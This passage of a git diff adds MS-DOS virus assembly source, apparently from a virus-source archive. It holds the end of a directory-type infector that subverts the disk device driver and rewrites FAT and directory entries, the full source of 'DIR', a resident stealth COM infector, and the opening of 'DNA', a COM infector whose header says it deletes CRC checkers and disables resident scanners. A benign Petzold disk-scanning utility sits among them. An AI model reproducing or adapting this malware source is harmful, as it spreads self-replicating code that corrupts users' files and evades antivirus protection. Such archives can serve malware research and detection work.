(header) +next: lds bx,[bx+si+19h] ; Get next device block + cmp bx,-1 ; Is it the last one? + jne search ; If not, search it + jcxz install + + pop ds ; Restore segment of first + mov ax,ds ; MCB + add ax,ds:[3] ; Go to next MCB + inc ax ; AX = segment next MCB + mov dx,cs ; DX = MCB owning current + dec dx ; program + cmp ax,dx ; Are these the same? + jne no_boot ; If not, we are not currently + ; in the middle of a reboot + add word ptr ds:[3],61h ; Increase length owned by + ; MCB by 1552 bytes +no_boot: mov ds,dx ; DS = MCB owning current + ; program + mov word ptr ds:[1],8 ; Set owner = DOS + + mov ds,cx ; DS = segment of original + ; device driver + les ax,[di+6] ; ES = offset int handler + ; AX = offset strategy entry + mov word ptr cs:str_block,ax ; Save entry point + mov word ptr cs:int_block,es ; And int block for use in + ; function _in + cld ; Scan for the write + mov si,1 ; function in the +scan: dec si ; original device driver + lodsw + cmp ax,1effh + jne scan + mov ax,2cah ; Wicked un-yar place o' + cmp [si+4],ax ; doom. + je right + cmp [si+5],ax + jne scan +right: lodsw + push cs + pop es + mov di,offset modify+1 ; Save address of patch + stosw ; area so it can be changed + xchg ax,si ; later. + mov di,offset i13org ; This is in the stack, but + cli ; it is used by "i13pr" + movsw + movsw + + mov dx,0c000h ; Scan for hard disk ROM + ; Start search @ segment C000h +fdsk1: mov ds,dx ; Load up the segment + xor si,si ; atart at offset 0000h + lodsw ; Scan for the signature + cmp ax,0aa55h ; Is it the signature? + jne fdsk4 ; If not, change segment + cbw ; clear AH + lodsb ; load a byte to AL + mov cl,9 + sal ax,cl ; Shift left, 0 filled +fdsk2: cmp [si],6c7h + jne fdsk3 + cmp word ptr [si+2],4ch + jne fdsk3 + push dx ; Save the segment + push [si+4] ; and offset on stack + jmp short death ; for use by i13pr + +install: int 20h +file: db "c:",255,0 +fdsk3: inc si ; Increment search offset + cmp si,ax ; If we are not too high, + jb fdsk2 ; try again +fdsk4: inc dx ; Increment search segment + cmp dh,0f0h ; If we are not in high + jb fdsk1 ; memory, try again + + sub sp,4 ; effectively push dummy vars. +death: push cs ; on stack for use by i13pr + pop ds + mov bx,ds:[2ch] ; Get environment from PSP + mov es,bx + mov ah,49h ; Release it (to save memory) + call jump + xor ax,ax + test bx,bx ; Is BX = 0? + jz boot ; If so, we are booting now + mov di,1 ; and not running a file +seek: dec di ; Search for end of + scasw ; the environment block + jne seek + lea si,[di+2] ; SI points to filename + jmp short exec ; (in DOS 3.X+) + ; Execute that file +boot: mov es,ds:[16h] ; get PSP of parent + mov bx,es:[16h] ; get PSP of parent + dec bx ; go to its MCB + xor si,si +exec: push bx + mov bx,offset param ; Set up parameter block + ; for EXEC function + mov [bx+4],cs ; segment to command line + mov [bx+8],cs ; segment to 1st FCB + mov [bx+12],cs ; segment to 2nd FCB + pop ds + push cs + pop es + + mov di,offset f_name + push di ; Save filename offset + mov cx,40 ; Copy the filename to + rep movsw ; the buffer + push cs + pop ds + + mov ah,3dh ; Handle open file + mov dx,offset file ; "c:˙",0 + call jump + pop dx ; DS:DX -> filename + + mov ax,4b00h ; Load and Execute + call jump ; ES:BX = param block + mov ah,4dh ; Get errorlevel + call jump + mov ah,4ch ; Terminate + +jump: pushf ; Simulate an interrupt 21h + call dword ptr cs:[i21org] + ret + + +;--------Installation complete + +i13pr: mov ah,3 ; Write AL sectors from ES:BX + jmp dword ptr cs:[i13org] ; to track CH, sector CL, + ; head DH, drive DL + + +main: push ax ; driver + push cx ; strategy block + push dx + push ds + push si + push di + + push es ; Move segment of parameter + pop ds ; block to DS + mov al,[bx+2] ; [bx+2] holds command code + + cmp al,4 ; Input (read) + je input + cmp al,8 ; Output (write) + je output + cmp al,9 ; Output (write) with verify + je output + + call in_ ; Call original device + cmp al,2 ; Request build BPB + jne ppp ; If none of the above, exit + lds si,[bx+12h] ; DS:SI point to BPB table + mov di,offset bpb_buf ; Replace old pointer with + mov es:[bx+12h],di ; a pointer to our own + mov es:[bx+14h],cs ; BPB table + push es ; Save segment of parameters + push cs + pop es + mov cx,16 ; Copy the old BPB table to + rep movsw ; our own + pop es ; Restore parameter segment + push cs + pop ds + mov al,[di+2-32] ; AL = sectors per allocation + cmp al,2 ; unit. If less than + adc al,0 ; 2, increment + cbw ; Extend sign to AH (clear AH) + cmp word ptr [di+8-32],0 ; Is total number sectors = 0? + je m32 ; If so, big partition (>32MB) + sub [di+8-32],ax ; Decrease space of disk by + ; one allocation unit(cluster) + jmp short ppp ; Exit +m32: sub [di+15h-32],ax ; Handle large partitions + sbb word ptr [di+17h-32],0 + +ppp: pop di + pop si + pop ds + pop dx + pop cx + pop ax +rts: retf ; We are outta here! + +output: mov cx,0ff09h + call check ; is it a new disk? + jz inf_sec ; If not, go away + call in_ ; Call original device handler + jmp short inf_dsk + +inf_sec: jmp _inf_sec +read: jmp _read +read_: add sp,16 ; Restore the stack + jmp short ppp ; Leave device driver + +input: call check ; Is it a new disk? + jz read ; If not, leave +inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ + cld + lea si,[bx+0eh] ; Load from buffer address + mov cx,8 ; Save device driver request +save: lodsw ; on the stack + push ax + loop save + mov word ptr [bx+14h],1 ; Starting sector number = 1 + ; (Read 1st FAT) + call driver ; Read one sector + jnz read_ ; If error, exit + mov byte ptr [bx+2],2 ; Otherwise build BPB + call in_ ; Have original driver do the + ; work + lds si,[bx+12h] ; DS:SI points to BPB table + mov ax,[si+6] ; Number root directory entries + add ax,15 ; Round up + mov cl,4 + shr ax,cl ; Divide by 16 to find sectors + ; of root directory + mov di,[si+0bh] ; DI = sectors/FAT + add di,di ; Double for 2 FATs + stc ; Add one for boot record + adc di,ax ; Add sector size of root dir + push di ; to find starting sector of + ; data (and read) + cwd ; Clear DX + mov ax,[si+8] ; AX = total sectors + test ax,ax ; If it is zero, then we have + jnz more ; an extended partition(>32MB) + mov ax,[si+15h] ; Load DX:AX with total number + mov dx,[si+17h] ; of sectors +more: xor cx,cx + sub ax,di ; Calculate FAT entry for last + ; sector of disk + sbb dx,cx + mov cl,[si+2] ; CL = sectors/cluster + div cx ; AX = cluster # + cmp cl,2 ; If there is more than 1 + sbb ax,-1 ; cluster/sector, add one + push ax ; Save cluster number + call convert ; AX = sector number to read + ; DX = offset in sector AX + ; of FAT entry + ; DI = mask for EOF marker + mov byte ptr es:[bx+2],4 ; INPUT (read) + mov es:[bx+14h],ax ; Starting sector = AX + call driver ; One sector only +again: lds si,es:[bx+0eh] ; DS:SI = buffer address + add si,dx ; Go to FAT entry + sub dh,cl ; Calculate a new encryption + adc dx,ax ; value + mov word ptr cs:gad+1,dx ; Change the encryption value + cmp cl,1 ; If there is 0 cluster/sector + je small_ ; then jump to "small_" + mov ax,[si] ; Load AX with offset of FAT + ; entry + and ax,di ; Mask it with value from + ; "convert" then test to see + ; if the sector is fine + cmp ax,0fff7h ; 16 bit reserved/bad + je bad + cmp ax,0ff7h ; 12 bit reserved/bad + je bad + cmp ax,0ff70h ; 12 bit reserved/bad + jne ok +bad: pop ax ; Tried to replicate on a bad + dec ax ; cluster. Try again on a + push ax ; lower one. + call convert ; Find where it is in the FAT + jmp short again ; and try once more +small_: not di ; Reverse mask bits + and [si],di ; Clear other bits + pop ax ; AX = cluster number + push ax + inc ax ; Need to do 2 consecutive + push ax ; bytes + mov dx,0fh + test di,dx + jz here + inc dx ; Multiply by 16 + mul dx +here: or [si],ax ; Set cluster to next + pop ax ; Restore cluster of write + call convert ; Calculate buffer offset + mov si,es:[bx+0eh] ; Go to FAT entry (in buffer) + add si,dx + mov ax,[si] + and ax,di +ok: mov dx,di ; DI = mask from "convert" + dec dx + and dx,di ; Yerg! + not di + and [si],di + or [si],dx ; Set [si] to DI + + cmp ax,dx ; Did we change the FAT? + pop ax ; i.e. Are we already on this + pop di ; disk? + mov word ptr cs:pointer+1,ax ; Our own starting cluster + je _read_ ; If we didn't infect, then + ; leave the routine. Oh + ; welp-o. + mov dx,[si] + push ds + push si + call write ; Update the FAT + pop si + pop ds + jnz _read_ ; Quit if there's an error + call driver + cmp [si],dx + jne _read_ + dec ax + dec ax + mul cx ; Multiply by sectors/cluster + ; to find the sector of the + ; write + add ax,di + adc dx,0 + push es + pop ds + mov word ptr [bx+12h],2 ; Byte/sector count + mov [bx+14h],ax ; Starting sector # + test dx,dx + jz less + mov word ptr [bx+14h],-1 ; Flag extended partition + mov [bx+1ah],ax ; Handle the sector of the + mov [bx+1ch],dx ; extended partition +less: mov [bx+10h],cs ; Transfer address segment + mov [bx+0eh],100h ; and the offset (duh) + call write ; Zopy ourselves! + ; (We want to travel) +_read_: std + lea di,[bx+1ch] ; Restore device driver header + mov cx,8 ; from the stack +load: pop ax + stosw + loop load +_read: call in_ ; Call original device handler + + mov cx,9 +_inf_sec: + mov di,es:[bx+12h] ; Bytes/Sector + lds si,es:[bx+0eh] ; DS:SI = pointer to buffer + sal di,cl ; Multiply by 512 + ; DI = byte count + xor cl,cl + add di,si ; Go to address in the buffer + xor dl,dl ; Flag for an infection in + ; function find + push ds + push si + call find ; Infect the directory + jcxz no_inf + call write ; Write it back to the disk + and es:[bx+4],byte ptr 07fh ; Clear error bit in status + ; word +no_inf: pop si + pop ds + inc dx ; Flag for a decryption in + ; function find + call find ; Return right information to + ; calling program + jmp ppp + +;--------Subroutines + +find: mov ax,[si+8] ; Check filename extension + cmp ax,"XE" ; in directory structure + jne com + cmp [si+10],al + je found +com: cmp ax,"OC" + jne go_on + cmp byte ptr [si+10],"M" + jne go_on +found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word + jnz go_on ; to see if it is too big + test [si+1dh],03ff8h ; <2048B ; Check file size low word + jz go_on ; to see if it is too small + test [si+0bh],byte ptr 1ch ; Check attribute for subdir, + jnz go_on ; volume label or system file + test dl,dl ; If none of these, check DX + jnz rest ; If not 0, decrypt +pointer: mov ax,1234h ; mov ax, XX modified elsewhere + cmp ax,[si+1ah] ; Check for same starting + ; cluster number as us + je go_on ; If it is, then try another + xchg ax,[si+1ah] ; Otherwise make it point to + ; us. +gad: xor ax,1234h ; Encrypt their starting + ; cluster + mov [si+14h],ax ; And put it in area reserved + ; by DOS for no purpose + loop go_on ; Try another file +rest: xor ax,ax ; Disinfect the file + xchg ax,[si+14h] ; Get starting cluster + xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster + mov [si+1ah],ax ; and put it back +go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1 + dw offset gad+1 ; Change encryption and + add si,32 ; go to next file + cmp di,si ; If it is not past the end of + jne find ; the buffer, then try again + ret ; Otherwise quit + +check: mov ah,[bx+1] ; ah = unit code (block device + ; only) +drive: cmp ah,-1 ; cmp ah, XX can change. + ; Compare with the last call + ; -1 is just a dummy + ; impossible value that will + ; force the change to be true + mov byte ptr cs:[drive+2],ah ; Save this call's drive + jne changed ; If not the same as last call + ; media has changed + push [bx+0eh] ; If it is the same physical + ; drive, see if floppy has + ; been changed + mov byte ptr [bx+2],1 ; Tell original driver to do a + call in_ ; media check (block only) + cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if + pop [bx+0eh] ; media has not been changed + mov [bx+2],al ; Restore command code +changed: ret ; CF,ZF set if media has not + ; been changed, not set if + ; has been changed or we don't + ; know +write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to + jae in_ ; original device handler + ; and return to caller + mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT + mov si,70h + mov ds,si ; DS = our segment +modify: mov si,1234h ; Address is changed elsewhere + push [si] + push [si+2] + mov [si],offset i13pr + mov [si+2],cs + call in_ ; Call original device handler + pop [si+2] + pop [si] + ret + +driver: mov word ptr es:[bx+12h],1 ; One sector +in_: ; in_ first calls the strategy + ; of the original device + ; driver and then calls the + ; interrupt handler + db 09ah ; CALL FAR PTR +str_block: + dw ?,70h ; address + db 09ah ; CALL FAR PTR +int_block: + dw ?,70h ; address + test es:[bx+4],byte ptr 80h ; Was there an error? + ret + +convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT + jae fat_16 ; 0FF0h = reserved cluster + mov si,3 ; 12 bit FAT + xor word ptr cs:[si+gad-1],si ; Change the encryption value + mul si ; Multiply by 3 and + shr ax,1 ; divide by 2 + mov di,0fffh ; Mark it EOF (low 12 bits) + jnc cont ; if it is even, continue + mov di,0fff0h ; otherwise, mark it EOF (high + jmp short cont ; 12 bits) and then continue +fat_16: mov si,2 ; 16 bit FAT + mul si ; Double cluster # + mov di,0ffffh ; Mark it as end of file +cont: mov si,512 + div si ; AX = sector number + ; (relative to start of FAT) + ; DX = offset in sector AX +header: inc ax ; Increment AX to account for + ret ; boot record + +counter: dw 0 + + dw 842h ; Attribute + ; Block device + ; DOS 3 OPEN/CLOSE removable + ; media calls supported + ; Generic IOCTL call supported + ; Supports 32 bit sectors + dw offset main ; Strategy routine + dw offset rts ; Interrupt routine (rtf) + db 7fh ; Number of subunits supported + ; by this driver. Wow, lookit + ; it -- it's so large and juicy + +; Parameter block format: +; 0 WORD Segment of environment +; 2 DWORD pointer to command line +; 6 DWORD pointer to 1st default FCB +;10 DWORD pointer to 2nd default FCB +param: dw 0,80h,?,5ch,?,6ch,? + +bpb_buf: db 32 dup(?) +f_name: db 80 dup(?) + +;--------The End. +dir_2 ends + end start + diff --git a/MSDOS/Virus.MSDOS.Unknown.dirr.asm b/MSDOS/Virus.MSDOS.Unknown.dirr.asm new file mode 100644 index 00000000..48569ac5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dirr.asm @@ -0,0 +1,285 @@ + +; DIR +; +; by Terminator Z + +; this virus will infect com files when you do a directory .. it will infect +; every com file as it comes up on the directory listing. +; +; this virus will not infect files if they have a seconds field of 58 seconds, +; and will hide the file size increase on these files while the virus is +; memory resident. + + +v_start: + + call si_set +si_set: pop si + sub si, offset si_set + mov bp, ds + + mov ax, 0fedch + int 21h + jc exit_code + + mov ax, ds + dec ax +tsr1: mov ds, ax + cmp byte ptr [0], 'Z' + je tsr2 + add ax, word ptr [3] + jmp tsr1 +tsr2: cmp word ptr [3], p_len+1 + jb exit_code + sub word ptr [3], p_len + add ax, word ptr [3] + inc ax + sub ax, 10h + mov di, 100h + mov es, ax + mov cx, 512 + add si, offset v_start + mov ds, bp + rep movsw + xor si, si + push ax + mov ax, offset fix_ints + push ax + retf + +fix_ints: push cs + pop ds + mov ax, 3521h + int 21h + mov word ptr [old_21], bx + mov word ptr [old_21+2], es + mov dx, offset new_21 + mov ax, 2521h + int 21h + +exit_code: add si, offset orig_3 + mov es, bp + mov di, 100h + push bp + push di + movsw + movsb + mov ds, bp + xor ax, ax + mov bx, ax + mov dx, ax + mov si, ax + mov di, ax + mov bp, ax + retf + +new_21: clc + cmp ah, 11h + je chk + cmp ah, 12h + je chk + cmp ah, 1ah + je dta_set + cmp ax, 0fedch + jne i_exit + stc ; set carry + iret +i_exit: jmp dword ptr cs:[old_21] + +function_call: pushf + call dword ptr cs:[old_21] + ret + +dta_set: call function_call + jnc ds2 +ds1: retf 2 +ds2: mov word ptr cs:[dta_save], dx + mov word ptr cs:[dta_save+2], ds + jmp short ds1 + +chk: call function_call + cmp al, 0 + je c2 + iret +c2: push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + push cs + pop es + lds si, dword ptr cs:[dta_save] + lodsb + dec si + cmp al, 0ffh + jne c3 + add si, 7 ; fix all this shit up +c3: push si + add si, 17h + lodsw + and ax, 29 ; 56 seconds + jz c4 + add si, 4 + sub word ptr [si], v_len + sbb word ptr [si-2], 0 + pop si + jmp short c_exit + +c4: pop si + mov bp, si + add si, 9 ; up to extension + lodsw + and ax, 0dfdf ; ->UC + cmp ax, 'OC' + jne c_exit + lodsb + and al, 0df + cmp al, 'M' + je c_inf +c_exit: pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + iret +c_inf: mov si, bp + inc si + mov di, filename_save + mov cx, 8 +cmov1: lodsb + cmp al, ' ' + je cmov2 + stosb +cmov2: loop cmov1 + mov al, '.' + stosb + movsw + movsb + xor ax, ax + stosb ; make an ASCIIZ string + +com_infection: push cs + pop ds + mov ax, 3524h + call function_call + push bx + push es + push cs + pop es + mov dx, offset new_24 + mov ax, 2524h + call function_call + mov ax, 4300h + mov dx, filename_save + call function_call + jnc k1 + jmp exit_1 +k1: push cx + mov ax, 4301h + xor cx, cx + call function_call + jc exit_2 + mov ax, 3d02h + call function_call + mov bp, ax + xchg ax, bx + mov ax, 5700h + call function_call + push cx + push dx + mov dx, offset orig_3 + mov ah, 3fh + mov cx, 3 + call function_call + mov ax, 4202h + xor cx, cx + xor dx, dx + call function_call + or dx, dx + jnz exit_3 + push ax + add ax, 102h+v_len + pop ax + jc exit_3 + cmp ax, 3 + jb exit_3 + dec ax + dec ax + dec ax + mov di, offset com_stub+1 + stosw + mov ah, 40h + mov cx, v_len + mov dx, 100h + call function_call + cmp ax, v_len + jb exit_4 ; check number of bytes written + xor cx, cx + xor dx, dx + mov ax, 4200h + call function_call + mov ah, 40h + mov cx, 3 + mov dx, offset com_stub + call function_call + pop dx + pop cx + or cx, 29 + push dx + push cx + +exit_4: mov ax, 5701h + pop dx + pop cx + call function_call + +exit_3: mov ah, 3eh + call function_call + +exit_2: pop cx + mov ax, 4301h + mov dx, filename_save + call function_call + +exit_1: pop ds + pop dx + mov ax, 2524h + call function_call + jmp c_exit + + + + + + + + +new_24: iret + +orig_3: int 20h + nop + +com_stub db 0e9h + dw 0 + + db ' DIR by Drunk Avenger [PuKE] x92! ' + +v_end: + +old_21 equ $ +dta_save equ old_21 + 4 +infected equ dta_save + 4 +filename_save equ infected + 1 + +p_len equ 40h ; 1k +v_len equ v_end - v_start + + diff --git a/MSDOS/Virus.MSDOS.Unknown.diskscan.asm b/MSDOS/Virus.MSDOS.Unknown.diskscan.asm new file mode 100644 index 00000000..1443f4a1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diskscan.asm @@ -0,0 +1,304 @@ +; DISKSCAN.ASM -- Checks out disk by reading sectors +; -------------------------------------------------- + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 100h +Entry: Jmp Begin + +; All Data +; -------- + db ' Copyright 1986 Ziff-Davis Publishing Co.' + db ' Programmed by Charles Petzold ' +DriveError db 'Invalid Drive$' +DosVersErr db 'Needs DOS 2.0+$' +MemoryError db 'Needs 64K$' +ReadSegment dw ? +DriveNum db ? +DiskBlock db 18 dup (?) +TotalSectors dw ? +SectorsIn64K dw ? +StartSector dw 0 +SectorLabel2 db 9,'Sector $' +SectorLabel db 13,'Sectors $' +DashLabel db ' - $' +ErrorLabel db ': Error!' +CRLF db 13,10,'$' +ErrorAddr dw Err0,Err1,Err2,Err3,Err4,Err5,Err6,Err7 + dw Err8,Err9,ErrA,ErrB,ErrC,ErrD,ErrD,ErrD +Err0 db 'Write Protect$' +Err1 db 'Unknown Unit$' +Err2 db 'Drive Not Ready$' +Err3 db 'Unknown Command$' +Err4 db 'CRC Error$' +Err5 db 'Request Length$' +Err6 db 'Seek Error$' +Err7 db 'Unknown Media$' +Err8 db 'Sector Not Found$' +Err9 db 'No Paper$' +ErrA db 'Write Fault$' +ErrB db 'Read Fault$' +ErrC db 'General Failure$' +ErrD db 'Undocumented Error$' +BootSectMsg db 'Boot Sector$' +RootDirMsg db 'Root Directory$' +BadFatMsg db 'File Alloc. Table$' +InUseMsg db 'Used by file$' +NotInUseMsg db 'Unallocated$' +BadFlagMsg db 'Flagged as bad$' +FatReadMsg db "Can't Read FAT$" +Divisors dw 10000, 1000, 100, 10, 1 ; For decimal conversion + +; Check Drive Parameter, DOS Version, and Enough Memory +; ----------------------------------------------------- + +ErrorExit: Mov AH,9 ; Write error message + Int 21h ; through DOS + Int 20h ; And terminate + +Begin: Mov DX, Offset DriveError ; Possible message + Or AL, AL ; Check Drive Validity Byte + Jnz ErrorExit ; If not zero, invalid drive + Mov DX, Offset DosVersErr ; Possible message + Mov AH, 30h + Int 21h ; Get DOS Version Number + Cmp AL, 2 ; Check for 2.0 or later + Jb ErrorExit ; If not, terminate with message + Mov DX, Offset MemoryError ; Possible error message + Mov BX, 256+Offset EndProg ; Set beyond program + Mov SP, BX ; Move stack closer to code + Add BX, 15 ; Add 15 to round up + Mov CL, 4 ; Divide BX by 16 + Shr BX, CL + Mov AH, 4Ah ; Free allocated memory + Int 21h ; by calling DOS Set Block + Jc ErrorExit ; Terminate on error + Mov BX, 1000h ; Ask for 64K bytes + Mov AH, 48h ; by using DOS + Int 21h ; Allocate Memory call + Jc ErrorExit ; Terminate on error + Mov [ReadSegment], AX ; Save segment of memory block + +; Get Disk Information From DOS +; ----------------------------- + + Mov DL, DS:[005Ch] ; Get Drive Parameter + Push DS ; Save DS + Mov AH, 32h ; Call DOS to + Int 21h ; get DOS Disk Block (DS:BX) + Mov SI, BX ; Now DS:SI points to Disk Block + Mov DI, Offset DiskBlock ; DI points to destination + Mov CX, 18 ; 18 bytes to copy' + Cld ; Forward direction + Rep Movsb ; Move 'em in + Pop DS ; Get back DS + Mov BX, Offset DiskBlock ; BX to address Disk Block + Mov DX, 1 ; Set DX:AX to 65,536 + Sub AX, AX + Div Word Ptr [BX + 2] ; Divide by Bytes Per Sector + Mov [SectorsIn64K], AX ; Save that values + Mov AX, [BX + 13] ; Last Cluster Number + Dec AX ; AX = Number of Clusters + Mov CL, [BX + 5] ; Cluster to Sector Shift + Shl AX, CL ; AX = Number Data Sectors + Add AX, [BX + 11] ; Add First Data Sector + Mov [TotalSectors], AX ; AX = Number Total Sectors + Mov AL, DS:[005Ch] ; Drive Number (0=def, 1=A) + Dec AL ; Make it 0=A, 1=B + Jns GotDriveNumber ; If no sign, not default drive + Mov AH, 19h ; Get current disk + Int 21h ; by calling DOS + +GotDriveNumber: Mov [DriveNum], AL ; Save Drive Number (0=A, 1=B) + +; Start Reading +; ------------- + +MainLoop: Mov DX, Offset SectorLabel ; String to display on screen + Call StringWrite ; Display it + Mov AX, [StartSector] ; Starting sector number + Call WordWrite ; Display number on screen + Mov DX, Offset DashLabel ; String containing a dash + Call StringWrite ; Display it on the screen + Mov CX, [SectorsIn64K] ; Number of sectors to read + Add AX, CX ; Add it to starting sector + Jc NumRecalc + Cmp AX, [TotalSectors] ; See if bigger than total + Jbe NumSectorsOK ; If so, proceed + +NumRecalc: Mov AX, [TotalSectors] ; Otherwise get total sectors + Mov CX, AX ; Move it to CX also + Sub CX, [StartSector] ; Now CX = sectors to read + +NumSectorsOK: Dec AX ; AX = last sector to read + Call WordWrite ; Display it on screen + Call ReadSectors ; Read the sectors + Jnc NextSectors ; If no error, skip detail + Call ReadSectors ; Repeat read + Jnc NextSectors ; If still no error, skip + +DiskError: Mov DX, Offset ErrorLabel ; String saying "Error!" + Call StringWrite ; Display it on screen + +ErrorLoop: Push CX ; Now save previous number + Mov CX, 1 ; So we can read one at a time + Call ReadSectors ; Read one sector + Jnc NoError ; If no error, proceed + Mov BL, AL ; Save error code + Mov DX, Offset SectorLabel2 ; String with "Sector " + Call StringWrite ; Display it on screen + Mov AX, [StartSector] ; The sector we just read + Call WordWrite ; Display it on screen + Mov DX, Offset DashLabel ; String with a dash + Call StringWrite ; Display it on screen + And BL, 0Fh ; Blank out error top bits + Sub BH, BH ; Now BX is error code + Add BX, BX ; Double it for word access + Mov DX, [ErrorAddr + BX] ; Get address of message + Call StringWrite ; Display message on screen + Call FindSector ; See where sector is + Mov DX, Offset CRLF ; String for new line + Call StringWrite ; Do carriage ret & line feed + +NoError: Inc [StartSector] ; Kick up the start sector + Pop CX ; Get back counter + Loop ErrorLoop ; And read next sector + Mov AX, [StartSector] ; Sector of next group + Jmp Short CheckFinish ; Check if at end yet + +NextSectors: Mov AX, [StartSector] ; For no error, increment + Add AX, [SectorsIn64K] ; StartSector for next group + Jc Terminate ; (If overflow, terminate) + Mov [StartSector], AX ; And save it + +CheckFinish: Cmp AX, [TotalSectors] ; See if at then end + Jae Terminate ; If so, just terminate + Jmp MainLoop ; If not, do it again + +Terminate: Int 20h ; Terminate + +; Find Sector in FAT to see if used by file, etc. +; ----------------------------------------------- + +FindSector: Mov DX, Offset DashLabel ; Print dash + Call StringWrite + Mov AX, [StartSector] ; Sector with error + Mov DX, Offset BootSectMsg ; Set up message + Cmp AX, Word Ptr [DiskBlock + 6] ; See if sector boot + Jb PrintMsg ; If so, print as such + Mov DX, Offset BadFatMsg ; Set up message + Cmp AX, Word Ptr [DiskBlock + 16] ; See if sector in FAT + Jb PrintMsg ; If so, print as such + Mov DX, Offset RootDirMsg ; Set up message + Cmp AX, Word Ptr [DiskBlock + 11] ; See if sector in dir + Jb PrintMsg ; If so, print as such + Push [StartSector] ; Save the sector + Mov AX, Word Ptr [DiskBlock + 6] ; Reserved sectors + Mov [StartSector], AX ; Start of first FAT + Mov CL, [DiskBlock + 15] ; Sectors for FAT + Sub CH, CH ; Zero out top byte + Call ReadSectors ; Read in FAT + Pop [StartSector] ; Get back bad sector + Mov DX, Offset FatReadMsg ; Set up possible msg + Jc PrintMsg ; If read error, print + Mov AX, [StartSector] ; Get bad sector + Sub AX, Word Ptr [DiskBlock + 11] ; Subtract data start + Mov CL, [DiskBlock + 5] ; Sector Shift + Shr AX, CL ; Shift the sector + Add AX, 2 ; AX is now cluster + Push ES ; Save ES for awhile + Mov ES, [ReadSegment] ; ES segment of FAT + Cmp Word Ptr [DiskBlock + 13], 0FF0h; 12 or 16-bit FAT? + Jge Fat16Bit ; And jump accordingly + Mov BX, AX ; This is cluster number + Mov SI, AX ; So is this + Shr BX, 1 ; This is one-half cluster + Mov AX, ES:[BX + SI] ; BX + SI = 1.5 CX + Jnc NoShift ; If no CY from shift, got it + Mov CL, 4 ; If CY from shift must + Shr AX, CL ; shift word 4 bits right + +NoShift: Or AX, 0F000h ; Now put 1's in top bits + Cmp AX, 0F000h ; See if zero otherwise + Jmp Short CheckWord ; And continue checking + +Fat16Bit: Mov BX, AX ; This is cluster number + Shl BX, 1 ; Double it + Mov AX, ES:[BX] ; Pull out word from sector + Or AX, AX ; See if zero (unallocated) + +CheckWord: Pop ES ; Get back ES + Mov DX, Offset NotInUseMsg ; Set up possible message + Jz PrintMsg ; If so, print message + Mov DX, Offset BadFlagMsg ; Set up possible message + Cmp AX, 0FFF7h ; See if cluster flagged bad + Jz PrintMsg ; If so, print message + Mov DX, Offset InUseMsg ; If not, cluster is in use + +PrintMsg: Call StringWrite ; Print cluster disposition + Ret ; And return + +; Read Sectors (CX = Number of Sectors, Return CY and AL for error) +; ----------------------------------------------------------------- + +ReadSectors: Push BX ; Push all needed registers + Push CX + Push DX + Push DS + Mov AL, [DriveNum] ; Get the drive number code + Sub BX, BX ; Buffer address offset + Mov DX, [StartSector] ; Starting Sector + Mov DS, [ReadSegment] ; Buffer address segment + Int 25h ; Absolute Disk Read + Pop BX ; Fix up stack + Pop DS ; Get back registers + Pop DX + Pop CX + Pop BX + Ret ; Return to program + +; Screen Display Routines +; ----------------------- + +WordWrite: Push AX ; Push some registers + Push BX ; AX contains word to display + Push CX + Push DX + Push SI + Mov SI, Offset Divisors ; SI points to divisors + Mov CX, 4 ; CL counter; CH zero blanker + +WordWriteLoop: Mov BX, [SI] ; Get divisor + Add SI, 2 ; Increment SI for next one + Sub DX, DX ; Prepare for division + Div BX ; Divide DX:AX by BX + Push DX ; Save remainder + Or CH, AL ; See if zero + Jz LeadZero ; If so, do not display it + Add AL, '0' ; Convert number to ASCII + Mov DL, AL ; Print out character + Mov AH, 2 ; by calling DOS + Int 21h + +LeadZero: Pop AX ; Get back remainder + Dec CL ; Decrement counter + Jg WordWriteLoop ; If CL still > 0, do it again + Mov CH, 1 ; No more zero blanking + Jz WordWriteLoop ; Convert last digit to ASCII + Pop SI ; Get back pushed registers + Pop DX + Pop CX + Pop BX + Pop AX + Ret + +StringWrite: Push AX ; Displays string from DX + Mov AH, 9 ; to screen by calling DOS + Int 21h + Pop AX + Ret + +EndProg Label Byte ; End of program +CSEG EndS + End Entry + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.dna.asm b/MSDOS/Virus.MSDOS.Unknown.dna.asm new file mode 100644 index 00000000..9bb226a9 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dna.asm @@ -0,0 +1,537 @@ +;============================================================================= +; Please feel free to distribute, but do NOT change and say it's your's! +;============================================================================= +; Introducing to you the source code of DNA. DNA is a partially resident +; parasitic COM file infector including COMMAND.COM. The virus infects files +; in a random way along the path. The infection routine is resident +; during the run of the virus. The reason for this is that it is only then +; possible to encrypt the infection routine whitin the virus. The routine +; will be resident in the data area of the system so it will use no memory. +; DNA does not contain a payload. Furthermore there are some routines to +; delete CRC checkers and to disable some resident viruscheckers in memory. +; +; Greetings ,ThE wEiRd GeNiUs +;----------------------------------------------------------------------------- +; Assemble with TASM 2.0 or higher, Link with TLINK /T +;----------------------------------------------------------------------------- + CODE SEGMENT + ASSUME CS:CODE,DS:CODE,ES:CODE,SS:CODE + + CRYPTLEN EQU BUFFER-CSTART ;Length to en/decrypt. + VIRLEN EQU BUFFER-VSTART ;Length of virus. + MINLEN EQU 1000 ;Min file length to infect. + MAXLEN EQU 0F230h ;Max " " " " + CR EQU 0Dh ;Return. + LF EQU 0Ah ;Line feed. + TAB EQU 09h ;Tab. + TSR2LEN EQU BUFFER-INFECT ;Length of infection Interrupt. + LENGTH EQU NOTENC-CSTART ;Length of encrypted code. + + ORG 0100h + + .RADIX 16 +;----------------------------------------------------------------------------- +; Infected dummy program. (Only in 1st run) +;----------------------------------------------------------------------------- +START: JMP VSTART ;Jump to virus code. +;----------------------------------------------------------------------------- +; Begin of the virus code. +;----------------------------------------------------------------------------- +VSTART: CALL CHKDOS ;Confuse 